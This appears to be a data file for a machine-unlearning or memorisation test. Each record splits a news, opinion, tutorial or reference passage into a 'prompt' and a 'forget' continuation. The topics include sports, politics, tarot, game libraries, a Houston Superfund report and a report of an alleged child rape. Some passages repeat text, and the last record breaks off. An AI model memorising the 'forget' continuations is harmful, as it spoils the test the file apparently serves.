{"prompt": "No. 1 seed Virginia (21-11) will host No. 8 seed Norfolk State (21-11) in the National Invitation Tournament on Tuesday, March 19. Tipoff at John Paul Jones Arena is set for 9 p.m. The Virginia-Norfolk State game will be televised on ESPNU and broadcast on the Virginia Sports Radio Network. The winner will advance to the second round against the winner of St. John's and Saint Joseph's. Second-round games are scheduled for March 21-25. Virginia is making its 13th NIT appearance and first under fourth-year head coach Tony Bennett. The Cavaliers claimed NIT championships in 1980 and 1992 and are", "forget": "appearing in the tournament for the first time since 2006. Virginia is 15-10 all-time in the NIT. The Cavaliers are 1-0 all-time against Norfolk State, defeating the Spartans, 50-49, on Dec. 20, 2010. Virginia is 19-0 all-time against Mid-Eastern Athletic Conference opponents, including a 75-57 win over Morgan State at JPJ on Dec. 19, 2012. The Cavaliers are coming off a disappointing 75-56 loss against NC State in the ACC Tournament quarterfinals. Akil Mitchell (Charlotte, N.C.) led Virginia in scoring and rebounding for the fourth consecutive game with 19 points and eight rebounds. Joe Harris (Chelan, Wash.) added 13 points and Jontel Evans (Hampton, Va.) had a game-high seven assists. All-ACC performers Harris (first team), Mitchell (third team) and Evans (All-Defensive) lead the Cavaliers into postseason action. Harris ranks fourth in the ACC in scoring at 16.9 ppg and Mitchell ranks third in rebounding at 8.9 rpg. Evans leads Virginia with 114 assists. The Cavaliers, who earned an at-large bid into the NIT, rank in the top 12 nationally in five defensive categories, highlighted by their fourth-ranked scoring defense at 55.1 points per game. Offensively Virginia is averaging 64 points per game overall, shooting 45.6 percent from the field and 38.5 percent from 3-point land. Freshman Justin Anderson (Montross, Va.) leads Virginia rookies in scoring, rebounding, assists and blocked shots. Sophomore Paul Jesperson (Merrill, Wis.) has made at least one 3-pointer in 12 consecutive games. Freshman Mike Tobey, who made his second career start against NC State, is averaging 10.3 points and 5.3 rebounds in the last three games. Bennett sports a 74-52 record, including a 1-0 mark against Norfolk State, in four seasons at Virginia. Bennett, who guided the Cavaliers to their first NCAA Tournament since 2006-07 last season, is the first Virginia coach to post back-to-back 20-win seasons"}
{"prompt": "To hear the Conservatives tell it, some things that exist actually don\u2019t, and others that don\u2019t actually do. Confused? I\u2019ll explain. During question period Thursday, New Democrat Murray Rankin rose on a question unrelated to the ongoing scandal surrounding Mike Duffy and the $90,000 payment from Nigel Wright, and harkened back to earlier times, when we were all still talking about the budget. He told the House the Conservative government is one that denounced an iPod tax, but that \u201chas now introduced its own through the backdoor.\u201d That backdoor is in the shape of the Economic Action Plan 2013, a.k.a.", "forget": "the federal budget, wherein the government decided to raise tariffs, including those on MP3 players. \u201cIn a bizarre twist, we learned just today that the Conservatives have long planned on making this tax retroactive, demanding that retailers pay back-taxes on all the iPods they have sold, and even on some TVs, in the past,\u201d he told the Commons. \u201cObviously, retailers are simply stunned. Why did the Conservatives not even give industry a warning that these changes were coming?\u201d Ted Menzies, the minister of state for finance, stood to respond on the other side of the chamber. But rather than offer an explanation, he decided to instead lend an evaluation of Rankin\u2019s query. \u201cMr. Speaker, there is no fact in that question. It is all false,\u201d Menzies said. \u201cThe only people in the House of Commons who actually want to put a tax on iPods are the New Democrats. They are the only ones who want to increase taxes.\u201d Over at Canadian Business Thursday, Mike Moffat, an economist at the University of Western Ontario, and the man responsible for uncovering and bringing to light the tariff changes in the budget, noted that a number of importers have written to the government in protest. The group, known as the 9948 Fair Treatment Coalition (named for the tariff number) includes a number of MP3, TV, and computer speaker manufacturers and distributors. He wrote: The Coalition alleges that \u201cthe Canada Border Services Agency (CBSA) has misled dozens of Canadian companies for years by inducing them to import MP3 players and other goods into Canada duty-free, all the while planning to later collect millions of dollars in back-duties on the goods, with interest in penalties.\u201d The release goes on to quote members of the 9948 group, including, Ken Buschlen, VP of Finance for Panasonic Canada"}
{"prompt": "Foretelling the future can be a tricky business. It\u2019s hard to trust your own psychic abilities. They are skills one comes into by accident and design. There are lots of things that you can try. These can help to hone your skill if you\u2019re a beginner or even a seasoned expert. I\u2019ve been reading the cards and getting psychic readings for over three decades. Over the years I\u2019ve consulted with thousands of professionals and clients about what it is you need to know, what you want to know, and how the different systems work. Keep a Record \u2013 It is", "forget": "good magickal practice to keep track of your readings, dreams, and the events that follow. You don\u2019t need to get obsessively anal about it, but if you keep a journal you can begin to see patterns and signs that you may not have recognized otherwise. \u2013 It is good magickal practice to keep track of your readings, dreams, and the events that follow. You don\u2019t need to get obsessively anal about it, but if you keep a journal you can begin to see patterns and signs that you may not have recognized otherwise. Observe your own Thoughts \u2013 Consider your own personal observations and associations as they relate to the archetypal symbols present in the Tarot. One of the most important things to remember while reading is \u201cwherever you go, you take yourself with you.\u201d \u2013 Consider your own personal observations and associations as they relate to the archetypal symbols present in the Tarot. One of the most important things to remember while reading is \u201cwherever you go, you take yourself with you.\u201d Test and Re-Test \u2013 Psychic tests can start with something simple. As your cards a question like will it rain on me today? Or Will I get a call from X in the next 24 hours? Choose simple and verifiable questions to start with. Measure your results against the actual outcomes. \u2013 Psychic tests can start with something simple. As your cards a question like will it rain on me today? Or Will I get a call from X in the next 24 hours? Choose simple and verifiable questions to start with. Measure your results against the actual outcomes. Practice \u2013 How do you get to Carnegie Hall? Ok, I\u2019m a New Yorker, I couldn\u2019t pass that joke up. No matter what you are trying to achieve"}
{"prompt": "It\u2019s been a while we haven\u2019t covered any machine learning algorithm. Last time we discussed the Markov Decision Process (or MDP). Today we\u2019re going to build our knowledge on top of the MDP and see how we can generalise our MDP to solve more complex problems. Reinforcement learning really hit the news back in 2013 when a computer learned how to play a bunch of old Atari games (like Breakout) just by observing the pixels on the screen. Let\u2019s find out how this is possible! In Breakout the goal is to destroy all the bricks at the top of the", "forget": "screen by bouncing a ball over a paddle that you can move horizontally at the bottom of the screen. Every time the ball hits a brick your score increases. The idea If we want to teach a computer how to play that game, one solution might be to use a classifier such as a neural network where the input would be the screen images and the output the action to perform. It makes sense as for each screen we want to know if the paddle should move left or right (or stay still). The problem is that we need lots of training examples. But this is not how we learn! We don\u2019t want someone to tell us a million time what we should do! Instead we learn by observing the reward we get as a consequence of our actions. This is the essence of reinforcement learning. An agent (the player) performs some actions which change the state of the environment (the pixels on the screen) and gets a reward for his actions (increase of score). Reinforcement learning lies somewhere between supervised and unsupervised learning. In supervised learning we have a label for every training example and in unsupervised learning there is no label at all. In reinforcement learning we have rewards which are sparse and time-delayed labels. Using only on those rewards the agent has to learn to behave in the environment. It may seem simple but there are some challenges along the way. When the ball hits a brick it has nothing to do with the action you just take. In fact it was the action performed when the ball bounced on the paddle that sent the ball against the brick. The problem of identifying which action is at the origin of the reward is known as the credit"}
{"prompt": "When the photo of Higuain\u2019s secret medical first leaked, Napoli fans across the world were distraught. The loss of our star striker would have hurt enough but to lose him to our most hated rival; that was heartbreaking. Just months earlier he had been kissing our shirt and singing with fans under the stands shouting about defending the city. Now he plays for the team whose fans invoke Vesuvius to bury that city in lava. As if that were not enough, just as hurtful to fans was his motivation. Higuain didn\u2019t leave for money. Napoli president Aurelio De Laurentiis came", "forget": "forward and said he had offered more to the Argentine striker than he is currently receiving at Juventus. Higuain left \u201cto win\u201d. He obviously didn\u2019t believe he could do that in a blue shirt; and if he didn\u2019t believe it, then why should we as fans? Without his help and that of his 36 goals, what reason would there be to even dream of competing for trophies? While the supporters remained in shock, the club went to work; scooping up some of the most talented young players in Italy and Europe (Milik, Zielinski, Diawara, Rog, Maksimovic). Yet with youth comes inexperience, and it was only natural to think it would take time for the new acqusitions to settle in and contribute on the field. However, the two youngsters that have been given a chance, Zielinski and Milik, have made an immediate impact. Zielinski is already pushing Allan for a starting spot and Milik has made his claim as the starting striker with a goal per minute ratio that is top in Europe. Their contributions so far have been invaluable and they have given us reason to have high, but tempered, expectations for the other additions. Yet what has really stood out is how the team as a whole has performed on the pitch. Sometimes having a star player can damage a team as they look to force feed him the ball in times of need. Perhaps this was the case with Higuain in Napol; for as impressive as Napoli were last season, this year they look even better. The team\u2019s movement seems even more coordinated. At their best, the players have looked like a single attacking entity. They did at times last year as well but these days it seems more like the normal run of affairs. Without a doubt"}
{"prompt": "How much are you willing to give up to keep your monsters out of the Graveyard? Rafael answered this question with the Soul Charge Spell Card, and come April 25th you can use it to put yourself to the test! Soul Charge is simple: Give up your Battle Phase, target any number of monsters in your Graveyard, Special Summon them, and lose 1000 Life Points for each monster you Special Summon. Hidden in Soul Charge\u2019s simplicity is tremendous power. Nearly any Deck can use it, and it can create huge plays and turnaround all on its own\u2026 if you can", "forget": "pay the price! In the original Yu-Gi-Oh! series, Rafael activated Soul Charge in his second Duel against the Pharaoh to Special Summon Guardian Elma, Guardian Kay\u2019est, and Backup Gardna from his Graveyard. By doing so, Rafael emptied his Graveyard of all monsters and cleared the darkness from his heart, making himself immune to the soul-stealing effects of The Seal of Orichalcos. Although you probably won\u2019t use Soul Charge to escape The Seal of Orichalcos, you will be able to use Soul Charge to gain a dominating lead in your Duels. During the course of a Duel, Duelists gradually destroy each others\u2019 monsters to gain the upper hand. Soul Charge throws a wrench into the best laid plans of your opponent by bringing back all of your monsters at once! Losing 1000 Life Points per monster and the Battle Phase is a hefty cost of doing business, but it\u2019s well worth it when you can do things like\u2026 Special Summon Fire Fist monsters like Brotherhood of the Fire Fist \u2013 Bear and Brotherhood of the Fire Fist \u2013 Gorilla, activate their effects, then combine them to Xyz Summon a powerful Rank 4 monster like Brotherhood of the Fire Fist \u2013 Tiger King or Number 101: Silent Honor ARK. and activate their effects, then combine them to Xyz Summon a powerful Rank 4 monster like or Bring back your Level 7 Mermails like Mermail Abyssmegalo and Mermail Abyssteus , then Xyz Summon a Rank 7 monster such as Mermail Abyssgaios , Mecha Phantom Beast Dracossack , or Number 11: Big Eye . and , then Xyz Summon a Rank 7 monster such as , , or . Special Summon all of your Harpie Ladies and quickly Xyz Summon Harpie\u2019s Pet Phantasmal Dragon or Lightning Chidori . No Hysteric Party ? No problem!"}
{"prompt": "GREEN BAY, Wis. -- The Wildcat formation was a couple of weeks in the making, but Green Bay Packers receiver Randall Cobb had angled for it his whole NFL career. \"I've been waiting on it for seven years,\" Cobb said. \"It was fun to be back there a little bit.\" It might be seven more before the former University of Kentucky quarterback gets another chance to take a direct snap. He did it three times in Sunday against the Bears and the results were underwhelming -- runs for minus-1, 6 and 3 yards. \"We've got some work to do with", "forget": "that,\" Cobb said. \"We didn't line up correctly a couple times. We didn't execute the play like we wanted to a couple times. So if we're going to continue to do that, then we've got to clean it up a little bit.\" It's something coach Mike McCarthy and offensive coordinator Edgar Bennett put into the plan after Aaron Rodgers broke his collarbone last month. They finally decided to give it a try against the Bears. What you need to know in the NFL \u2022 Statistics \u2022 Scoreboard \u2022 2017 schedule, results \u2022 Standings \"I love it,\" Cobb said. \"That's all I did in college, so that's right up my arsenal.\" Maybe they should just let Cobb throw it. He's attempted one pass in his NFL career -- an incompletion. He played a hybrid role of quarterback-receiver at Kentucky. He threw five career touchdown passes (and five interceptions). \"We did the Wildcat; that was like 40 percent of our offensive production,\" Cobb said. Cobb had one other run on a traditional toss play from quarterback Brett Hundley and totaled just 8 yards rushing on four attempts. His biggest impact against the Bears came as a receiver with three catches for 52 yards, including a 38-yard catch-and-run to convert a third-and-5 on the first drive of the game, which resulted in a field goal. \"Randall by far is one of the toughest guys I've ever been around,\" Bennett said. \"He's sharp ... He has a great awareness, his knowledge of the game, his preparation is off the charts. He does an outstanding job. And then you go back and look at that very first third-down conversion: He goes, runs a good route, breaks a tackle. \"And that's what we\u2019ve always been talking about as far as breaking tackles creates a big-play opportunity."}
{"prompt": "The opinions expressed by columnists are their own and do not represent the views of Townhall.com. You have to give President Barack Obama credit for one thing: consistency. Nothing is ever his fault. Nothing will ever be his fault. Faulting Fox News and the American people, on the other hand, now that's a different story. Do you remember when Obama traipsed around the country and desperately pleaded with Americans to vote for Hillary Clinton because his agenda and his legacy were on the ballot? He made a similar pitch before the shellacking his party took in the 2014 congressional elections.", "forget": "Yet did he acknowledge after this 2014 failing that he had anything to do with it? Does he own up to his leading role in last month's presidential election? Let's rewind the tape further, to Obama's reaction to his party's stunning defeat in the 2010 congressional elections, which was largely about Obamacare. He didn't acknowledge any personal culpability for visiting that monstrosity on the American people through trickery and deceit. He simply lamented that he hadn't done a good enough job getting the message out to the American people about it, despite his 50 propaganda speeches trying to persuade us to ignore our lying eyes. Do you see the pattern here? Obama's view is that the American people -- those in the red states, anyway -- are a little slow, paranoid and bigoted and need to be brought along carefully into the 21st century, where progressivism has ushered in a new age of enlightenment. His only failing has been in inadequately re-educating the bitter clingers. Let me give you another example. Remember Obama's depiction of the Islamic State group as \"a JV team\"? How about his claim, the night before the terrorist massacres in Paris, that the Islamic State was \"contained\"? Did he ever acknowledge his errors there? No. Again, his only failing was in not having communicated sufficiently his counterterrorism strategies to the American people. He said his strategy against the Islamic State was working. (This was before, as I recall, his admission that he had no policy.) The problem was that saturated media coverage after the Paris attacks was fueling terror fears in the United States. He said: \"We haven't, on a regular basis, I think, described all the work that we've been doing for more than a year now to defeat\" the Islamic State. \"If you've been"}
{"prompt": "Patent Troll That Accused Company Of 'Hate Crime' For Fighting Back Now Asking Court To Silence Company from the you-fail-at-law dept For the foregoing reasons, Lumen View respectfully requests that the Court grant its Motion for a Protective Order ... to protect Lumen View\u2019s confidential information and (1) prohibiting FTB and its attorney from further communicating with representatives of the media regarding confidential settlement information, or posting such information on social media, (2) require FTB and counsel to take necessary steps to remove from the internet its prior media disclosures, blog posts or press releases that disseminate this protected information,", "forget": "and (3) to grant any other such relief as this Court deems just and proper. Wasserbauer's request has a couple of problems. First, his idea of what constitutes \"confidential information\" is pretty broad\u2014it includes not just the $50,000 demand but Wasserbauer's own simple admission about who is behind Lumen View. Second, FindTheBest never signed any kind of non-disclosure or confidentiality agreement.... [....] The rule that Wasserbauer cites, Rule 408 of the Federal Rules of Evidence, is not actually the legal gag order he apparently imagines it to be. The rule doesn't say anything about talking to the media. It simply states that offers of compromise or settlement are often not admissible as evidence in court. We recently wrote about how patent troll Lumen View's lawyer Damian Wasserbauer had gone off the deep end, claiming that an entrepreneur who was fighting back against the trolling was guilty of a hate crime . Kevin O'Connor, the CEO of FindTheBest (FTB) didn't want to give in to a patent troll shakedown, turning down a $50,000 settlement offer and pledging to spend $1 million fighting Lumen View just on principle. That's resulted in a countersuit, arguing that Lumen View is engaged in extortion and racketeering. Wasserbauer (who, frankly, appears to be a bit out of his league here) doesn't seem to be handling the publicity very well. He's asking the court for an astoundingly broad gag order against O'Connor, including saying he needs to try toprior disclosures.Yeah, good luck with that...Of course, as Joe Mullin notes over at Ars Technica, the entire basis of Wasserbauer's argument appears to be a significant misreading of the law:And we won't even get into the laughable claims by Wasserbauer that there's no First Amendment worries in such a gag order, because that's clearly false. It seems clear that"}
{"prompt": "Document number: N2271=07-0131 Date: 2007-04-27 Reply to: Paul Pedriana Electronic Arts ppedriana at ea.com EASTL -- Electronic Arts Standard Template Library Paul Pedriana Electronic Arts ppedriana at ea.com Abstract Gaming platforms and game designs place requirements on game software which differ from requirements of other platforms. Most significantly, game software requires large amounts of memory but has a limited amount to work with. Gaming software is also faced with other limitations such as weaker processor caches, weaker CPUs, and non-default memory alignment requirements. A result of this is that game software needs to be careful with its use of memory", "forget": "and the CPU. The C++ standard library's containers, iterators, and algorithms are potentially useful for a variety of game programming needs. However, weaknesses and omissions of the standard library prevent it from being ideal for high performance game software. Foremost among these weaknesses is the allocator model. An extended and partially redesigned replacement (EASTL) for the C++ standard library was implemented at Electronic Arts in order to resolve these weaknesses in a portable and consistent way. This paper describes game software development issues, perceived weaknesses of the current C++ standard, and the design of EASTL as a partial solution for these weaknesses. Introduction The purpose of this document is to explain the motivation and design of EASTL so that it may help the C++ community better understand the needs of game software development. This document is not a proposal, though some of EASTL's changes and extensions could form the basis for such discussions. The large majority of EASTL would be useful to any kind of C++ software development. This document describes an STL implementation (EASTL) developed within Electronic Arts as an alternative to and extension of the STL defined by the C++ standard library. By STL, we mean the container, iterator, and algorithm components of the C++ standard library, hereafter referred to as std STL (with std referring to the std namespace, whereas the S in STL refers to standard C++). By C++ standard, we mean ISO 14882 (1998) and the 2003 update. The large majority of the design of std STL is excellent and achieves its intended purpose. However, some aspects of it make it hard to use and other aspects prevent it from performing as well as it could. Among game developers the most fundamental weakness is the std allocator design, and it is this weakness that was"}
{"prompt": "The only scientists who kept the Business-as-Usual sign hanging out during the war were the mathematicians and astronomers. The other men of learning were engaged in war work. Physicists were making better range-finders, chemists were making better poison gases, and theologians were proving that their gods were in the trenches qualifying for meritorious-conduct medals and kisses on both cheeks. But the astronomers and mathematicians were not doing their bits. While the war was in progress, Albert Einstein was completing his theory at the Kaiser Wilhelm Institute in Berlin, and British astronomers were working on plans to test it. It was", "forget": "fraternizing with the enemy. Scientists of this type have always been dangerous internationalists. They did incalculable harm to Church and State at an earlier time by casting suspicion on the Bible truth that the earth was flat and had four corners, and even today a man who meddles with the universe is regarded as unsafe. One of the organizers of the American Legion started an agitation to bar Einstein from the United States as a Red; the Woman Patriot Corporation lodged a complaint against him with the State Department; an American consular official nearly heckled the scientist into abandoning an American trip; Cardinal O\u2019Connell denounced the Einstein theory as false, atheistic, and immoral; a religious writer charged that Einstein had cribbed the theory from the writings of a thirteenth-century saint. Nevertheless, Einstein slipped past the immigration authorities in 1930, and he did it again last October. Today, he is openly carrying on mathematical work at Princeton. The anti-nationalistic taint in astronomy manifested itself when British astronomers, even before the Treaty of Versailles had been signed, confirmed the new theory that had been made in Germany. On May 29, 1919, two expeditions under the Union Jack\u2014one at Sobral in Brazil, and the other at Principe off the coast of West Africa\u2014photographed an eclipse in order to discover whether starlight, as Einstein\u2019s calculations had indicated, was twisted when it passed a massive body like the sun. They reported that Einstein was right. Since then, his theory has been retouched in detail, but its essentials have been repeatedly verified. No important scientist is to be found among the skeptics, although there is every incentive to debunk Einstein, if it can be done. Immortality awaits the man who can overthrow Einstein. The popular uproar over the theory surprised no one more than the author"}
{"prompt": "As Dwight Chandler sipped beer and swept out the thick muck caked inside his devastated home, he worried whether Harvey's floodwaters had also washed in pollution from the old acid pit just a couple blocks away. Long a center of the nation's petrochemical industry, the Houston metro area has more than a dozen Superfund sites, designated by the Environmental Protection Agency as being among America's most intensely contaminated places. Many are now flooded, with the risk that waters were stirring dangerous sediment. The Highlands Acid Pit site near Chandler's home was filled in the 1950s with toxic sludge and sulfuric", "forget": "acid from oil and gas operations. Though 22,000 cubic yards of hazardous waste and soil were excavated from the acid pits in the 1980s, the site is still considered a potential threat to groundwater, and the EPA maintains monitoring wells there. When he was growing up in Highlands, Chandler, now 62, said he and his friends used to swim in the by-then abandoned pit. \"My daddy talks about having bird dogs down there to run and the acid would eat the pads off their feet,\" he recounted on Thursday. \"We didn't know any better.\" The Associated Press surveyed seven Superfund sites in and around Houston during the flooding. All had been inundated with water, in some cases many feet deep. On Saturday, hours after the AP published its first report, the EPA said it had reviewed aerial imagery confirming that 13 of the 41 Superfund sites in Texas were flooded by Harvey and were \"experiencing possible damage\" due to the storm. The statement confirmed the AP's reporting that the EPA had not yet been able to physically visit the Houston-area sites, saying the sites had \"not been accessible by response personnel.\" EPA staff had checked on two Superfund sites in Corpus Christi on Thursday and found no significant damage. The Houston metro area has more than a dozen Superfund sites. Many are now flooded, with the risk that waters were stirring dangerous chemicals. The Houston metro area has more than a dozen Superfund sites. Many are now flooded, with the risk that waters were stirring dangerous chemicals. SEE MORE VIDEOS AP journalists used a boat to document the condition of one flooded Houston-area Superfund site, but accessed others with a vehicle or on foot. The EPA did not respond to questions about why its personnel had not yet been able"}
{"prompt": "Disney submits plans for an omnimover boat ride In case you missed it last night, theme park fans' corner of Twitter erupted with the discovery that the US Patent and Trademark Office last month published a patent application from Disney for a omnimover boat ride . (Here's an easier-to-read version of the application , from Google.) Images from Disney's patent application Into geekspeak? Here's the abstract of Disney's application: \"A floating omnimover ride with high capacity throughput and enhanced control over speeds of passenger boats. The ride includes a water containment structure with spaced apart sidewalls defining an elongated guide", "forget": "channel that defines a loop-shaped ride path or circuit. The ride includes a volume of liquid contained in the guide channel to a desired depth. The ride also includes a chain of passenger boats floating in the liquid contained in the guide channel. Each of the boats is linked to the two adjacent boats with a connecting link such that the chain of boats is a continuous loop. The chain of boats has a length that is approximately equal to a length of the ride path, and during operation of the ride, the boats in the chain are moved along the loop-shaped ride path at a predefined rate by a pump station moving the liquid in the guide channel.\" Translation? Picture Pirates of the Caribbean or It's a Small World with the boats all hooked together, nose to tail, a la the Doombuggies on the Haunted Mansion. By linking the boats into a continuous chain, Disney would eliminate bumping and slower boats, which can disrupt the flow of guests through a ride. To maximize hourly capacity, the chain wouldn't stop to load and upload riders, so a moving walkway at the load and unload points would be necessary, as on Mansion. But Disney's been thinking about nifty ways to alter the omnimover ride experience. Here's one: \"In addition to the guide channel or trough, the ride system may also include an open bay or free-floating portion or section in which the boats are not guided by and do not contact nearby sidewalls. As long as a sufficient number of the floating vehicles are contained in and guided within the guide channel (or flowing or drive) portion or section of the ride system, other sections of the vehicle chain may be \u201cundriven\u201d by the water in the free-floating section or bay"}
{"prompt": "The 48 Laws of Power (1998) is the first book by American author Robert Greene.[1] The book is a bestseller,[2][3] selling over 1.2 million copies in the United States,[4] and is popular with prison inmates and celebrities.[4][5][6][7][8][9] Background [ edit ] Greene initially formulated some of the ideas in The 48 Laws of Power while working as a writer in Hollywood and concluding that today's power elite shared similar traits with powerful figures throughout history.[5] In 1995, Greene worked as a writer at Fabrica, an art and media school, and met a book packager named Joost Elffers.[4][8] Greene pitched a", "forget": "book about power to Elffers and six months later, Elffers requested that Greene write a treatment.[4] Although Greene was unhappy in his current job, he was comfortable and saw the time needed to write a proper book proposal as too risky.[10] However, at the time Greene was rereading his favorite biography about Julius Caesar and took inspiration from Caesar's decision to cross the Rubicon River and fight Pompey, thus inciting the Great Roman Civil War.[10] Greene wrote the treatment, which later became The 48 Laws of Power.[10] He would note this as the turning point of his life.[10] Reception [ edit ] The 48 Laws of Power has sold over 1.2 million copies in the United States and has been translated into 24 languages.[4] Fast Company called the book a \"mega cult classic\", and The Los Angeles Times noted that The 48 Laws of Power turned Greene into a \"cult hero with the hip-hop set, Hollywood elite and prison inmates alike\".[4][11] The 48 Laws of Power has been reported to be much requested in American prison libraries,[5][12] and has been studied as a first year text in some US colleges.[13][14] Rapper 50 Cent stated that he related to the book \"immediately\", and approached Greene with the prospect of a potential collaboration, which would later become The 50th Law, another New York Times bestseller.[15] Busta Rhymes used The 48 Laws of Power to deal with problematic movie producers.[8] DJ Premier has a tattoo inspired from Law #5, \"Reputation is the cornerstone of power\", on his arm[6] and DJ Calvin Harris has an \"Enter with boldness\" arm tattoo based on Law #28.[16] The 48 Laws of Power has also been mentioned in songs by UGK, Jay Z, Kanye West, and Drake.[6][17][18] [19] Dov Charney, founder and former CEO of American Apparel, frequently"}
{"prompt": "Republican presidential candidate Donald Trump greets the crowd as he arrives to speak at a campaign rally in Fredericksburg, Va. (Photo: Courtesy photo) Donald Trump will host a public rally at Asheville's U.S. Cellular Center on Sept. 12. Doors open at 3 p.m., and the event begins at 6 p.m. Tickets are available at no charge through the Trump campaign's website, donaldjtrump.com/schedule/register/asheville-nc. Nathan West, chair of the Buncombe County GOP, which helped organize the event, said he's expecting a casual rally as opposed to a formal, teleprompter speech. \u201cI think it\u2019s going to be more of a rally,\" he said.", "forget": "\"I don\u2019t think there\u2019s going to be any specific policy, but I\u2019m not 100 percent sure right now. We just wanted to make a statement in Asheville and to let people know Western North Carolina is in play.\u201d The Republican National Committee, the North Carolina GOP, the local Republican party and the Trump campaign are involved in organizing the event, West said. Other GOP leaders will attend the rally, West said, but those details are forthcoming. West said the organizers are prepared for crowds and protesters. \u201cHave we heard of any (protests)? No. But I\u2019m sure that will develop over the next few days,\" he said. The United States Secret Service is in charge of security in and around the U.S. Cellular Center, said Joey Robison, public information officer for the city of Asheville, which owns the venue. Local law enforcement will play a supporting role, she said. Matt Quinn, public information officer at the Secret Service's field office in Charlotte, said he could not release details about road closures or protest procedures, but he said details might become available prior to the event. Drivers who do not have to come downtown Monday should avoid the area because of traffic and security, West said. The U.S. Cellular Center website encourages attendees to carpool. West said the event will highlight the number of Trump supporters in the area. Republican organizers want to show that Buncombe County and Western North Carolina are significant this election season, he explained. \u201cI think Asheville, specifically Buncombe County, there is some doubt as to the momentum here,\" he said. The Asheville metro area displayed a variety of results in the presidential primary in March. More Buncombe County residents voted for Democrat Bernie Sanders than all the Republican candidates combined. In Henderson County, where the majority of"}
{"prompt": "Introduced in January in the New Hampshire House of Representatives, HB569 would get rid of marriage. Sort of. To be exact, the proposed bill, currently in committee, privatizes marriage. The New Hampshire state government would no longer issue marriage licenses; instead, it would grant domestic partnerships. If you wanted to get married in the traditional sense, you\u2019d go to your religious house of choice. If you wanted the legal benefits of marriage as it currently stands, you\u2019d get a domestic partnership. And all this would apply to gay and straight couples alike. A group of Republican members of the New", "forget": "Hampshire state house proposed the bill, coming from the libertarian position that marriage is a contract: that should be recognized and applied by the courts, but that the government has no business, in general, decreeing who may or may not make the contract or imposing any prior conditions, as licensure does. Is this where American marriages are heading? Is this the best solution to the same-sex marriage debate? On one hand, the government has a monopoly on marriage, and government-sanctioned marriages have been disintegrating for years\u2014just look at the divorce rate in the United States [PDF]. Since all 50 states issue no-fault divorces, it\u2019s sometimes easier to end a marriage than it is to end a corporate partnership. David Boaz explained the benefits of privatized marriage for both heterosexual and homosexual couples in his 1997 Slate article: Make it a private contract between two individuals. If they wanted to contract for a traditional breadwinner/homemaker setup, with specified rules for property and alimony in the event of divorce, they could do so. \u2026 Marriage contracts could be as individually tailored as other contracts are in our diverse capitalist world\u2026 And what of gay marriage? Privatization of the institution would allow gay people to marry the way other people do: individually, privately, contractually, with whatever ceremony they might choose in the presence of family, friends or God. Gay people are already holding such ceremonies, of course, but their contracts are not always recognized by the courts and do not qualify them for the 1,049 federal laws that the General Accounting Office says recognize marital status. Those who consider the word \u201cmarriage\u201d to carry great importance can still get married; the institution would just belong to religious organizations (as it originally did) instead of the government. If a church or synagogue or mosque"}
{"prompt": "A 42-year-old pastor, Chidiebere Ikpa, has been arrested by the Lagos State Police Command for allegedly raping his 14-year-old stepdaughter in the Surulere area of the state. The unidentified victim, a Senior Secondary 2 student who reported the incident to the police, insisted she was raped by the pastor on several occasions. However, on his part, Ikpa denied the allegation, disclosing that it was a neighbour, whom he identified only as Richard, that defiled the 14-year-old girl, but he decided not to report the matter to the police because he (Ikpa) had a forgiving character. Narrating the incidence to The", "forget": "Punch, the victim said she told her mother about it every time the pastor had canal knowledge of her. She added that whenever she told her mother about it, she usually shouted her down, and refused to take any action on the matter. The accused, who hails from the Bende Local Government Area of Abia State, was arrested by policemen from the Isokoko division, while the victim was taken for medical examination at the Mirabel Centre, Ikeja. The test reportedly confirmed that the girl\u2019s private parts had been tampered with. A police source disclosed that the victim reported that Ikpa had allegedly been sleeping with her since she was ten years old and was the one who \u2018deflowered\u2019 her. According to the source, \u201cThe victim claimed that the suspect deflowered her when she was 10 years. He had allegedly been sexually molesting the girl since that time. \u201cThe victim\u2019s mother is culpable because she knew about the abuses. The girl said it was when her mother failed to take concrete steps that she came to the police.\u201d Meanwhile, the pastor, on denying the allegation, said he flogged the girl last Thursday and she disappeared from the house, not knowing she came to the police to lie against him. Ikpa said, \u201cThe girl started living with me when she was 12 or thereabout. That was around 2012. It is not true that I raped her. I flogged her on Thursday for being rude and she did not return home after school. We did not see her until Friday. She had been with the police. \u201cThe girl has a boyfriend; his name is Richard. He is the manager of a hotel on Rasak Balogun Street. If the medical result shows someone has been sleeping with her, then it is Richard, not me."}
{"prompt": "Bayesian econometrics is a branch of econometrics which applies Bayesian principles to economic modelling. Bayesianism is based on a degree-of-belief interpretation of probability, as opposed to a relative-frequency interpretation. The Bayesian principle relies on Bayes' theorem which states that the probability of B conditional on A is the ratio of joint probability of A and B divided by probability of B. Bayesian econometricians assume that coefficients in the model have prior distributions. This approach was first propagated by Arnold Zellner.[1] Basics [ edit ] Subjective probabilities have to satisfy the standard axioms of probability theory if one wishes to avoid", "forget": "losing a bet regardless of the outcome.[2] Before the data is observed, the parameter \u03b8 {\\displaystyle \\theta } is regarded as an unknown quantity and thus random variable, which is assigned a prior distribution \u03c0 ( \u03b8 ) {\\displaystyle \\pi (\\theta )} with 0 \u2264 \u03b8 \u2264 1 {\\displaystyle 0\\leq \\theta \\leq 1} . Bayesian analysis concentrates on the inference of the posterior distribution \u03c0 ( \u03b8 | y ) {\\displaystyle \\pi (\\theta |y)} , i.e. the distribution of the random variable \u03b8 {\\displaystyle \\theta } conditional on the observation of the discrete data y {\\displaystyle y} . The posterior density function \u03c0 ( \u03b8 | y ) {\\displaystyle \\pi (\\theta |y)} can be computed based on Bayes' Theorem: \u03c0 ( \u03b8 | y ) = p ( y | \u03b8 ) \u03c0 ( \u03b8 ) p ( y ) {\\displaystyle \\pi (\\theta |y)={\\frac {p(y|\\theta )\\pi (\\theta )}{p(y)}}} where p ( y ) = \u222b p ( y | \u03b8 ) \u03c0 ( \u03b8 ) d \u03b8 {\\displaystyle p(y)=\\int p(y|\\theta )\\pi (\\theta )d\\theta } , yielding a normalized probability function. For continuous data y {\\displaystyle y} , this corresponds to: \u03c0 ( \u03b8 | y ) = f ( y | \u03b8 ) \u03c0 ( \u03b8 ) f ( y ) {\\displaystyle \\pi (\\theta |y)={\\frac {f(y|\\theta )\\pi (\\theta )}{f(y)}}} where f ( y ) = \u222b f ( y | \u03b8 ) \u03c0 ( \u03b8 ) d \u03b8 {\\displaystyle f(y)=\\int f(y|\\theta )\\pi (\\theta )d\\theta } and which is the centerpiece of Bayesian statistics and econometrics. It has the following components: \u03c0 ( \u03b8 | y ) {\\displaystyle \\pi (\\theta |y)} \u03b8 | y {\\displaystyle \\theta |y} f ( y 